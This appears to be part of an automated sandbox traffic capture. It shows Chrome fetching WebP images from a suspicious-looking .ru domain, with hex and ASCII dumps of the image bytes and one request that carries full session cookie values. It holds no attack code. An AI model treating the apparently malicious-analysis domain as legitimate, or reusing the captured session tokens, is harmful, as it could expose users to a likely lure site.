2025-03-17 20:55:18 UTC	274	IN	Data Raw: 52 49 46 46 78 62 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 6f 08 00 ba 01 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFFxbWEBPVP8X0oICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 00 00 00 3c 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 a0 59 00 00 01 ff 27 24 48 f0 ff 78 6b 44 a4 ee e1 8f ff 6f 55 53 fa ff 5b d7 75 4d 07 03 c3 Data Ascii: <mlucenUSsRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPHY'$HxkDoUS[uM
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: e6 35 f7 03 be 96 3a f3 43 e5 c0 84 8f 5d c4 8c 41 29 1d c7 47 e4 07 f6 3e 8d 67 5d d1 8a d7 eb 7b 05 03 7b 53 b5 1f 1f 49 81 af 0b ba 84 a9 6d 13 e2 cd d2 52 20 65 de fe 3b 92 f5 e0 c9 bc fa 6e 20 a4 b9 fe 86 64 19 f0 ac a7 0b 98 ec cf 50 c4 73 fd bd 41 d4 ac 3d 76 24 a9 ee c1 bc 1a 26 10 35 67 c8 03 11 70 9e eb 17 f3 1e 14 d0 ba a6 14 08 9c f9 b3 83 76 75 85 ce 2c 03 02 5b da 5f 92 00 db ba 7c 99 88 fc 93 d7 14 03 a9 83 43 ee 28 29 71 47 7b 37 90 ba fe 29 01 de 14 72 f1 52 db c6 2e f1 a7 bc 20 b9 a9 c6 f2 28 d5 9c 1c 90 19 44 6f 78 82 1d 9e f5 74 e9 92 fd 19 72 df 57 12 c4 f7 ea 71 55 21 89 1b 3e 04 f9 5b 3c e0 86 f3 5d b9 98 f7 20 f3 eb 0d 40 89 a6 86 3b ed 6a 78 36 21 1b 28 d1 fb eb 38 66 d8 d6 85 cb e7 c8 fb cd 50 37 50 66 d1 79 51 f2 9d ee ec 0e ca Data Ascii: 5:C]A)G>g]{{SImR e;n dPsA=v$&5gpvu,[_\|C()qG{7)rR. (DoxtrWqU!>[<] @;jx6!(8fP7PfyQ
2025-03-17 20:55:18 UTC	243	IN	Data Raw: fa 9f ec fb be 73 71 73 ba 51 be e7 48 dc d6 4c 6f 56 22 f5 95 46 ed 24 b5 49 a0 ea 65 c8 38 a9 0d 18 49 ef 97 c4 b0 93 ee 99 aa cf 7b 88 b2 5f fe aa 58 1a ca 32 d4 c5 98 63 f3 ba 06 a7 07 99 4e 23 f9 b7 d9 74 a6 1f d2 ef 62 cc 72 d8 89 25 e5 50 d5 40 64 9c d8 02 8c e5 54 6a bf ea 5d 91 49 f7 50 85 97 c6 e7 4b 23 29 69 d3 86 77 de ff a5 57 91 f4 9e f6 c8 70 a6 c6 78 be 64 70 d7 64 c8 7a 23 f1 df 40 d1 35 92 18 25 34 01 83 99 d7 4a 2c d2 5d df b2 7c 7e 12 95 69 df df dd 27 2d 64 1a ea e7 d3 65 ad fd d2 73 b6 73 b8 a7 31 2d 90 63 79 43 b6 95 5a 75 45 e5 7e 81 7c e3 1a 80 e1 dc 4c 0c eb ea 5a a5 15 f1 a8 d6 a8 25 65 d3 3e 8e 68 08 22 26 ee 1d 5e 34 dd e6 15 07 f4 d7 97 e9 2c 7a 1a 31 ef 58 62 97 40 cd 96 43 c8 37 b6 2e 18 Data Ascii: sqsQHLoV"F$Ie8I{_X2cN#tbr%P@dTj]IPK#)iwWpxdpdz#@5%4J,]\|~i'-dess1-cyCZuE~\|LZ%e>h"&^4,z1Xb@C7.
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: cf 4f a8 cd d1 32 af 1e a7 51 c5 47 3a ba a7 71 dc d4 93 7f 5f 1a 57 30 5d c6 cd c1 22 9f be ac 64 31 dc 88 35 43 e2 fd 15 35 05 f9 46 d7 04 03 6a ba 41 ec 9e 86 05 4d 0d 43 55 3f 1d e5 9f a6 f1 50 5f 10 f1 f4 88 3c e9 2f 9e c8 b2 a0 be ac 61 31 da 88 2d 21 f6 c6 57 4d f5 ed 7c 62 3e 06 43 3a 84 18 96 d6 ad e0 39 b1 a8 f2 37 df e6 4c a7 41 b4 ff fd a9 7b 46 a8 27 c4 96 83 92 73 bd 44 b6 09 f5 c0 98 66 4d 26 36 46 af 8a fe 9c 84 aa 8f 9f 95 3d 9d 06 11 5f 7c 5b 38 c3 53 61 24 5e 47 49 96 83 c8 36 b9 19 18 d5 1d c4 76 ea 54 fe 5f 6c a8 83 b1 df 05 a5 d7 20 da f7 36 33 65 6c ea 43 ec 99 45 49 93 91 ad ad 13 18 d6 ce c4 de 5a b4 29 70 66 02 ea 62 cc 24 ef f4 1a 44 bc 3b cc 3b 23 d3 1a 62 df 83 8a eb d8 d8 38 fa 82 71 f5 89 a1 85 95 34 c9 27 e4 0d ea e4 d3 fe Data Ascii: O2QG:q_W0]"d15C5FjAMCU?P_</a1-!WM\|b>C:97LA{F'sDfM&6F=_\|[8Sa$^GI6vT_l 63elCEIZ)pfb$D;;#b8q4'
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 48 ed 57 59 d9 18 94 de f6 e4 e4 8e 5f 66 4f 08 f9 b2 7f ff c1 21 e3 66 ce 5c b4 ee e0 b5 30 15 24 57 4c ff b1 37 cd c0 12 18 8b 18 db 09 11 13 b2 bf a3 3e ad aa 6a c8 12 c1 e1 79 90 b1 fb 83 d4 75 85 65 ba 87 82 bf 3d be f8 f3 7a 85 dc c1 a9 ee 79 6a f5 9f f5 d7 03 bb 64 78 c3 33 dd 07 df 14 cd b8 02 0b 10 31 0e 11 97 c2 3b ba d2 ca a7 86 1f 90 63 33 30 f6 73 49 45 28 ec 57 94 fa e6 8a de 25 4d 90 fa 3e b5 c6 ed 88 10 0b a7 a6 ff e0 55 ef 8c 2b 45 6c f8 6f 7b 89 77 7d 41 ca e1 a1 84 02 09 1c d6 81 c1 0f 21 65 55 57 0f 14 39 7a 4b ff 7c 40 d8 54 72 d0 ee 04 99 92 ca a6 85 c4 47 72 8d 53 04 2e c8 b8 02 5b de f1 27 bc 6b 2c a9 30 50 e2 3a 64 f8 2a 48 43 72 4c 3c 1a 1a 7e ee a7 4a 8a e8 41 0a 7d 54 55 34 5a a0 d8 f5 ad bd 80 be ef a7 2b 5f 0b 84 a7 2d 69 20 Data Ascii: HWY_fO!f\0$WL7>jyue=zyjdx31;c30sIE(W%M>U+Elo{w}A!eUW9zK\|@TrGrS.['k,0P:d*HCrL<~JA}TU4Z+_-i
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 46 0f 32 5d e4 77 4c be 4c e5 5a 0e 9d b5 76 f7 e9 bb 91 91 6f 11 13 23 23 1f 5d de ff db bc d1 6d 3e f0 d5 31 8f 62 0d fa 4e 5b b5 fd f8 cd 57 91 91 76 b4 45 46 86 de 3c b6 75 f9 e4 9e b5 82 4d 5a 96 b3 5a e7 b1 0b 36 1c b8 f4 34 32 32 01 31 3a 32 ec fe 99 dd 6b 66 0f 6d 56 d2 2b ad e8 0a a9 a9 72 79 be a4 d7 02 14 9e f3 37 e4 fa 95 60 31 a4 7a 29 a4 98 9d db 2a 50 f5 00 5e f3 e5 cb fa c9 b0 e5 a7 a3 31 55 13 af ac 1f df aa 90 91 83 5c 0f d9 61 65 c9 8a 75 fb 6e f7 63 4c c5 87 5b be 6a 9a 55 9f 02 9b 8e 5b 7f 35 19 9d 1f 77 6a 71 ff 4a 16 7d 72 af 3c 70 d1 d1 48 74 be e3 ce 86 71 8d b3 a4 01 fd 43 ea 47 b9 7a 22 f9 53 a0 6e f3 80 37 c8 f6 85 a7 5c 36 52 9d 14 b2 08 99 9f f6 54 16 2c e3 14 53 48 34 73 b9 81 ab 6f 21 d9 d7 7f 4e a8 eb 6b d4 a0 64 14 bb b5 Data Ascii: F2]wLLZvo##]m>1bN[WvEF<uMZZ64221:2kfmV+ry7`1z)*P^1U\aeuncL[jU[5wjqJ}r<pHtqCGz"Sn7\6RT,SH4so!Nkd
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 02 68 75 95 a8 1d 52 7f ec ae 14 9f ef 92 51 dc c7 16 89 4e 93 5a a9 08 bf 78 4e 11 99 b5 c1 fd 96 b3 4e f5 cb 04 92 77 7b 85 6a dc 9e cf 10 65 8e 64 75 8b 4d e1 a3 28 f7 f5 bc ea 69 fe 1c e5 8e 69 a4 9e 5c bb 50 f0 35 ee 52 1c 65 f4 83 0c d5 90 67 2c 10 36 25 93 0a 91 68 37 b9 e1 a0 d2 26 0f 50 e2 a6 12 85 92 fa 41 11 1d 90 73 08 e8 63 7b a7 bc 9e 55 1a 44 2f b2 0f 95 19 3b ca cd 00 c1 78 56 98 9f 87 a9 7f 0c 4a fe a8 a8 62 7c 97 a0 e8 c9 9f a9 a6 6d 38 8a be c7 5f 88 b5 8c ae c9 f0 35 93 7d 94 e0 05 a9 45 02 05 db a8 45 fa 29 24 d7 1f 28 f3 36 81 3c ec a4 42 14 f1 0b a7 d7 3e 1a 61 3a 98 22 db ce 4f 3d 40 74 d3 a0 58 54 e9 a9 a2 06 c8 ef 15 ab 3e 2c 72 ec 42 e1 5f 96 51 4a d5 3b 28 bc 63 88 52 fc 57 a1 f4 ff 04 c8 f0 39 23 cc 27 c2 51 26 5f 92 ba 42 6a Data Ascii: huRQNZxNNw{jeduM(ii\P5Reg,6%h7&PAsc{UD/;xVJb\|m8_5}EE)$(6<B>a:"O=@tXT>,rB_QJ;(cRW9#'Q&_Bj
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: ed 1d 3a 37 89 d1 9f 9c 02 ac 3c 2e 02 c3 dd a4 b0 98 1c 3e f1 c4 22 3c 85 2a ff 0f 2a fa 07 41 66 d1 6a a0 84 af f8 5c 03 a3 3d 00 35 f4 59 7e 63 02 77 f9 44 a5 da 04 34 14 93 d0 50 94 8c 46 9d 2b cf 28 d6 93 51 6b e4 39 9d c3 6c 5a 5d e4 68 89 c4 17 80 c8 be 3f 5a 51 d5 b7 05 39 4a 2b 58 09 bf f3 59 60 b4 ea 24 eb 08 5e f4 31 26 2b f9 60 50 2a 35 b6 1b 8a a6 76 43 e1 7f 03 b5 0e 1e f2 c1 06 8c 16 30 a9 ce a1 1f ad 39 72 fc 4c ad 8a 48 cd 1f a1 c2 4b 88 61 89 21 15 6d 52 c2 35 3e 3d 0c 56 fe d7 a8 a7 eb 4d 86 64 10 a3 0a a9 93 eb 35 1a 89 9c af d1 50 ac 42 cd 9b cb 68 0e a3 5b 3c c2 2d 1c 6a d0 3a 2e 86 f9 05 b1 eb 20 70 ae 35 a8 f4 10 31 ca 20 e9 7f 40 85 a6 38 3e 25 8d 95 d7 59 d4 d5 10 43 52 95 51 cb 54 31 ed 44 23 61 da 89 86 a2 35 ea 5e 1d 46 37 f9 Data Ascii: :7<.>"<*Afj\=5Y~cwD4PF+(Qk9lZ]h?ZQ9J+XY`$^1&+`P5vC09rLHKa!mR5>=VMd5PBh[<-j:. p51 @8>%YCRQT1D#a5^F7
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: ce 2f f8 cd 03 21 62 b2 1b 8a ef f8 b4 77 46 1f 94 f3 de a4 22 90 8a 45 be b9 ab 84 da 28 66 d8 dc 8a 90 aa 96 46 eb e2 15 60 be 2d 86 75 7b 5b 4f 48 d5 62 53 9f a8 60 1e 1f 2c 42 ae 10 f2 6c c0 c9 33 9e d6 3e 76 f5 91 f6 4a 90 d4 3f 5c 86 27 2d c1 f9 0f 69 dd 61 17 ec a0 f5 a3 22 9a f2 e9 68 8c bc 42 45 b8 fb 45 16 48 65 53 ed df 6c 12 e0 1c 43 31 8d 4f 57 27 98 ae 4a 61 ff e3 63 13 a4 76 b5 df ed f2 6d 91 e2 d9 70 1f 48 fd 1c 3f c4 88 d7 14 85 4c fa b9 30 a4 be 5b cf db f2 d5 65 34 84 5c 7f 1e 31 9e 9c e0 10 ad 44 3f 6e 5f 13 6b 27 0a 84 48 60 9b ed 07 a9 b8 90 16 66 e7 d6 0f 69 b7 54 44 6b 3e 9f 1a a3 01 28 e0 ed 1e 6e 40 b1 d8 6a ab 00 71 41 46 e2 6b 3e bd 9c d0 10 65 4c 5e 55 1c 48 16 5b 99 2c 5c 01 9b 0c cf 3f f7 02 9a 41 33 e2 85 db 23 83 75 71 7e Data Ascii: /!bwF"E(fF`-u{[OHbS`,Bl3>vJ?\'-ia"hBEEHeSlC1OW'JacvmpH?L0[e4\1D?n_k'H`fiTDk>(n@jqAFk>eL^UH[,\?A3#uq~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49777	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:18 UTC	1192	OUT	GET /stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:19 UTC	1093	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:19 GMT Content-Type: image/webp Content-Length: 17842 Connection: close Content-Disposition: inline; filename="stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ngks3Q9GYc1VczPH%2FU89s2tX23XbQ6VDkNwsTMolcedPq2KTkxtMBx2%2BBiowShiv5v6twbNe7EnkbIE59tR2kKoFA%2FVAPFXibNy3WFGdlTmCauvXgqhnaVUbnE6A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5244&min_rtt=5169&rtt_var=2089&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2103&delivery_rate=501645&cwnd=250&unsent_bytes=0&cid=3cd5150c284179ff&ts=89&x=0" Server: cloudflare CF-RAY: 921f63f6ff7a440e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1793&min_rtt=1725&rtt_var=695&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1764&delivery_rate=1692753&cwnd=215&unsent_bytes=0&cid=21593a4ed60c5c66&ts=406&x=0"
2025-03-17 20:55:19 UTC	276	IN	Data Raw: 52 49 46 46 aa 45 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 8d 09 00 82 03 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFFEWEBPVP8X0ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 00 3c 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 e9 2c 00 00 0d 24 c5 6d db 38 d2 fe 6b a7 5c bf 6f 44 4c 80 cf 8b 20 0b c4 54 55 8a 05 ce ab 8e 33 Data Ascii: <mlucenUSsRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPH,$m8k\oDL TU3
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: c2 94 4d 14 25 b4 9f 92 44 0a 87 67 9c dd 45 1a de f7 f8 78 6e be 88 9c 98 c6 fa 6d e1 da 6e 7e dc a7 9b 3e 81 c3 0b 72 ac 79 df e3 63 ba 9f 6c 3e e2 01 2b b8 cd ad 2d 99 40 51 1d 4f e1 84 cf b6 1c f4 87 17 a4 df f6 bc c3 c7 d5 a8 90 8b e8 30 df 6c 45 03 fd c7 c2 7d 3e 1a ff 41 ea ac ef 2b 7c 68 ab 47 99 89 e8 30 e3 f5 9a c6 fe 18 cb d5 a3 ac 61 ec 12 30 9f 8f 04 d2 ee 7b 8e 8f ef ee ca 66 c1 04 d6 72 85 29 97 28 0c 94 a2 1b f0 e9 b6 23 3b 22 e1 ba ef 39 16 f4 18 00 b4 4d 16 d0 32 07 a6 91 e7 f0 0b ab d6 55 a4 2e 56 bb 29 8d bb ea c8 d4 a7 1b 0e 72 95 10 ff 86 65 7c 0a de 47 1f f1 db 30 a2 66 35 63 ac 49 ab d9 9a f4 5a 83 c4 4f 3e b8 e8 f1 7b 3f a1 66 35 6b db 2e 1f be aa d1 5c fb 52 49 14 57 3e 56 44 4f f8 74 cb c8 06 7c 2c 4f ce 39 bc 3b fa e8 bd bf e2 Data Ascii: M%DgExnmn~>rycl>+-@QO0lE}>A+\|hG0a0{fr)(#;"9M2U.V)re\|G0f5cIZO>{?f5k.\RIW>VDOt\|,O9;
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 9b 5e 5c 1b 13 52 61 d5 59 c8 2b 96 14 79 d3 12 9d e2 f2 e8 88 7c 66 7a 66 18 45 5c 7d b0 b7 0d 8d d4 d9 49 8a f1 47 01 0a 5e 0b 89 4c 77 fd 9d 36 e1 6c 89 d7 ba 43 01 99 e4 c8 74 23 c4 d1 b8 42 70 85 2c 9b 5e 3e e9 6c 5a 29 90 69 23 c4 c9 d8 34 2e af 2d 4a 36 60 39 fa d5 07 18 41 d3 dc b8 cc 18 28 35 96 6b ab 38 32 ae a4 18 54 28 40 af 51 40 21 2a e4 bc 17 57 ca 15 80 2b e4 5b c7 4c b8 6a 90 f3 4e dc 2a 73 89 e2 54 8e 88 81 d8 2c 88 15 48 2a 08 93 99 24 31 8b a5 55 1d 72 df ab 9b ec 6a 83 02 0a 85 ec 3b 75 a5 5c 66 b5 6e 30 b7 5c 21 fb 46 6d 95 b9 b4 8d 3f 89 04 95 9d 9b 76 d5 22 0c 7b 9a de c5 ac ea 1d c5 01 0b b5 96 7b 2c 40 a6 91 3f 37 28 62 a7 ae 44 c8 a9 d7 98 5b ae 50 c4 46 dd 28 77 69 ea 89 1c 88 39 d1 11 73 db 50 f8 f5 07 18 41 53 6d 6d 56 02 94 Data Ascii: ^\RaY+y\|fzfE\}IG^Lw6lCt#Bp,^>lZ)i#4.-J6`9A(5k82T(@Q@!W+[LjNsT,H*$1Urj;u\fn0\!Fm?v"{{,@?7(bD[PF(wi9sPASmmV
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: bb 75 f6 46 f4 d5 8c f1 4d 3a 83 79 c1 79 a3 73 f6 b6 df 27 03 2d cf 56 6f e8 be 7c 07 a5 37 e6 4e 74 c9 b4 22 9d 51 59 9c d9 59 7b 2d f7 c9 40 ab f8 16 79 3a 0b fb 87 e8 24 93 62 ff 10 1d 0c 51 5d b4 42 9e 76 48 b5 26 fa 33 d7 c8 ba 52 37 22 ce 0e 50 f5 6a 90 71 b5 40 4b 9a 6e 0c 49 49 12 bb 20 d8 2e 9d 49 3f 83 d8 19 77 27 9b 22 1d bd f3 f1 77 ac 66 8c 6d ce a2 91 ea a0 5e 41 69 ed a0 f6 a9 6c b6 fa 5c 3d c8 ef 41 6e cc a8 fa 2a 0d 8d 54 07 f5 03 94 5e 1f a5 ac 12 a9 be a8 b7 f8 78 96 9a 11 45 9f 54 cd 88 42 20 5a be 8f df 90 2c 23 f2 bf 13 7b e4 be 7b 14 3e 95 ba 20 00 f6 8f 46 ad 15 84 b1 23 81 d4 29 d5 3b 8a e9 db 82 d0 48 75 d2 cf 48 30 1a bd 55 4d 69 06 63 f1 56 1f bd f7 63 2f ba 77 49 24 7a 92 af a0 0e 6a 30 5d 1a 50 3a 9e 89 93 7d 41 8a 41 b9 7b Data Ascii: uFM:yys'-Vo\|7Nt"QYY{-@y:$bQ]BvH&3R7"Pjq@KnII .I?w'"wfm^Ail\=An*T^xETB Z,#{{> F#);HuH0UMicVc/wI$zj0]P:}AA{
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 16 0b 4a 61 b6 4d 62 9c 6c fc 3e 37 8e 93 6d be 88 12 70 b2 e9 5b 66 77 15 d5 66 8c 97 21 e0 eb 9d 74 c5 99 e4 0b 28 83 1a f4 2e 0d 08 73 be 37 0f 00 42 00 10 c2 ef a2 47 cd 7e 69 5b 70 74 99 54 5f d4 ba 80 bb 69 48 ba 31 d0 d4 9c 44 2f 87 b6 22 1b 5e 67 6b 7a 49 8b 81 dc 20 ef 30 6d a8 aa eb f0 9e 58 93 61 bf 95 31 bb ba 21 b3 c8 dc f6 54 60 fe 52 84 c6 9c 24 59 9b d8 f1 01 d4 41 5e 99 2a 89 fd 10 ce 16 4e 1e 3e 22 04 9c 39 fa 5f 42 80 c3 50 33 ce 58 93 1c 1e 8e 61 55 00 5a 92 40 18 9a 1e 94 a7 d7 e5 c0 41 6e 30 db 16 69 f3 d2 c1 08 2a 30 ff 1e cf e8 b0 bf 97 3e 37 8e d9 e3 ee 62 04 3c dc f3 58 90 49 bc 22 41 2b 8f 9b 14 20 f5 d9 8c 45 ba d1 3b ef af 78 cf ab b4 a0 d4 67 14 d1 2e 0c f5 0e ce 17 86 73 cb c2 88 9c 24 89 c6 72 9a be 7d 14 4e c8 dd f6 c9 61 Data Ascii: JaMbl>7mp[fwf!t(.s7BG~i[ptT_iH1D/"^gkzI 0mXa1!T`R$YA^N>"9_BP3XaUZ@An0i0>7b<XI"A+ E;xg.s$r}Na
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 45 62 16 46 4b 76 29 8e fd fd 3e 1f 54 fa 4a e4 f3 6f 66 94 86 6c 33 85 33 24 98 95 67 44 75 2c 99 96 64 75 5c 19 80 11 24 cd 8d 7b 9b 04 e5 f8 fd 5f 39 40 5c 3d e7 03 ec bf f0 f8 ef 13 dc b8 a7 02 77 67 88 35 d5 09 39 c7 9a a8 ec e1 aa a1 6a c3 ea c0 b6 a1 80 30 6f aa 39 89 c1 bf f5 e6 c9 6c f2 c1 e6 49 84 7f 9f a0 54 0e 9e 51 c5 ac 1c 27 aa 63 c9 60 fb b5 05 18 41 b2 3f c6 b7 f4 f8 94 00 2f ef 1e f2 c1 e6 20 fc bf 4f 61 d8 67 40 1f b2 22 df 9c 8a e6 19 d5 0a 21 11 84 79 8b 24 39 62 69 d7 f1 b2 d0 66 85 a8 4e 7a 93 0d aa 83 88 cb 25 5e 6a 60 7b aa 66 8a ef 73 bc 64 9e 11 15 9e ae 8e ab 03 e1 b4 4b 85 83 d4 2c 2e e6 2f 0b 4d 5e 80 93 77 b2 ca 05 cd a1 8f 39 70 37 0b fe 72 b3 ad 88 c0 fc fb ca 1e eb 25 c3 fc ea 00 8c 20 d9 5c f9 3f 09 92 f1 fb e2 ba b0 8e Data Ascii: EbFKv)>TJofl33$gDu,du\${_9@\=wg59j0o9lITQ'c`A?/ Oag@"!y$9bifNz%^j`{fsdK,./M^w9p7r% \?
2025-03-17 20:55:19 UTC	1369	IN	Data Raw: 0a e4 16 4b 71 73 5a 60 ed 9e ce 9e 0d 46 d0 40 da 90 5e db 91 b9 92 19 d0 bb 75 03 73 57 25 77 7a 5d 38 db 8a ae 3a 88 b8 80 60 7b 32 48 1b 32 11 a0 b7 e5 40 68 13 83 ed c9 f0 70 72 99 f0 86 4e 2f 06 b4 61 26 84 f7 e5 30 20 1f 5f cf e7 6e 1a 9a ea 49 a4 a7 40 7d c4 fb eb 58 0c 09 fa 23 56 0e 8d 48 4e 63 e1 1a 41 87 cd bd 5c 42 5a d2 55 87 3e 8f 5a d1 1d 51 50 c7 93 db 56 64 30 32 66 51 6b 90 8f 3f 97 03 f3 33 d1 7e 3b e8 52 48 d0 5b 10 6a 49 83 ee 56 a7 c6 1b 32 7b 06 e3 4c 21 f8 2e 01 bb 76 a0 65 6a d3 cb d2 d1 32 01 ec b7 22 a3 36 cc 45 98 36 64 d8 dc cb 2c 2c e8 f5 59 b8 cb 24 fd e8 7a ba e6 51 64 a1 41 af b0 1c b9 9b 09 e0 9f 5b 11 8a c0 f6 09 38 0a 23 88 a0 ac 4f ab d6 c8 a0 fe e7 5a c4 12 30 85 f5 87 30 76 89 59 2c dd 30 76 09 60 7f 65 b2 91 0f 37 Data Ascii: KqsZ`F@^usW%wz]8:`{2H2@hprN/a&0 _nI@}X#VHNcA\BZU>ZQPVd02fQk?3~;RH[jIV2{L!.vej2"6E6d,,Y$zQdA[8#OZ00vY,0v`e7
